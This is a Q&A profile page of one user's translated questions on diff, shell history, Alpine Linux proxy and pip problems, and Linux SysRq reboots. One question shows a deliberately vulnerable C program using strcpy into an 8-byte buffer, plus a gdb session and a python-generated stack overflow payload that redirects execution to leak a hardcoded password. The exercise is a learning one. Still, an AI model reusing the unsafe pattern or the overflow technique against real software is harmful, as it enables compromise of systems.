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Niklas Rosencrantz's questions

Martin Hope
Niklas Rosencrantz
Asked: 2022-04-30 07:49:45 +0800 CST
  • 4

例子：

% diff "/Volumes/New Volume/4kyoutube/" "/Volumes/New Volume/tmpmusic"| grep Distortion
Only in /Volumes/New Volume/tmpmusic: ZAC & Bäkka - Distortion (Original Mix) [Sprout].mp3
Only in /Volumes/New Volume/4kyoutube/: ZAC & Bäkka - Distortion (Original Mix) [Sprout].mp3

% diff "/Volumes/New Volume/tmpmusic/ZAC & Bäkka - Distortion (Original Mix) [Sprout].mp3" "/Volumes/New Volume/4kyoutube/ZAC & Bäkka - Distortion (Original Mix) [Sprout].mp3" 
%

我能做些什么呢？这些文件是相同的。

diff macos
Martin Hope
Niklas Rosencrantz
Asked: 2019-11-03 11:00:39 +0800 CST
  • 3

我在 C 中有这个程序。

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);
}

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  }
  printf("authorized\n");
  return 0;
}

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;
}

我构建它并检查它是否存在缓冲区溢出。

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
A debugging session is active.

    Inferior 1 [process 21935] will be killed.

Quit anyway? (y or n) y
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$

所以有可能从程序中泄露秘密，但如果地址0x55555555003a不是 ，我该怎么办0x55555555473a？然后我不知道如何传递零，因为它会被表示为一个空字节，而 shell 不会解释它。

bash
Martin Hope
Niklas Rosencrantz
Asked: 2019-10-15 02:58:00 +0800 CST
  • 6

通常我们可以使用向上箭头键来获取上一个命令。但这并不总是有效，您可能会得到 ASCII 序列（“ ^[[A...”），但我也想知道在没有箭头键的旧键盘上是否有这个功能，它是如何工作的天？

有没有其他方法？

shell
Martin Hope
Niklas Rosencrantz
Asked: 2018-10-26 22:11:47 +0800 CST
  • 1

我在 Vagrant 中由 Ubuntu 18.04 托管的 docker 容器中运行 alpine linux 收到此错误消息，其主机又是代理后面的 Windows 10。我已经设置了代理变量，但仍然得到同样的错误。

/ # apk update
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/main/x86_64/APKINDEX.tar.gz
ERROR: http://dl-cdn.alpinelinux.org/alpine/v3.8/main: Permission denied
WARNING: Ignoring APKINDEX.adfa7ceb.tar.gz: No such file or directory
fetch http://dl-cdn.alpinelinux.org/alpine/v3.8/community/x86_64/APKINDEX.tar.gz
ERROR: http://dl-cdn.alpinelinux.org/alpine/v3.8/community: Permission denied
WARNING: Ignoring APKINDEX.efaa1f73.tar.gz: No such file or directory
2 errors; 13 distinct packages available
/ #

我能做些什么？

docker virtual-machine
Martin Hope
Niklas Rosencrantz
Asked: 2018-05-29 23:09:26 +0800 CST
  • 2

我正在尝试使用 alpine-linux，但它没有按预期工作。

我尝试使用pip install cryptography，但它需要永远并停止在这个难以理解的输出

Running command /usr/local/bin/python -u -c "import setuptools, tokenize;__file__='/tmp/pip-install-h925mzyj/cryptography/setup.py';f=getattr(tokenize, 'open', open)(__f le__);code=f.read().replace('\r\n', '\n');f.close();exec(compile(code, __file__, 'exec'))" bdist_wheel -d /tmp/pip-wheel-gdaazboj --python-tag cp36

我能做些什么呢？

python alpine-linux
Martin Hope
Niklas Rosencrantz
Asked: 2018-04-19 19:55:44 +0800 CST
  • 1

如果 Linux 停止响应，可能会被迫进行不干净的关机，在这种情况下，可能会在不知不觉中关闭电源。我读到您应该尝试在 Linux 上使用 ctrl+prntSc + R +E +I + S+ U+ B 进行软重置，因为突然关闭电源可能会损坏文件系统。这有什么细节，在这种情况下说 Linux 的弹性不如 MS-Windows 是真的吗？

linux boot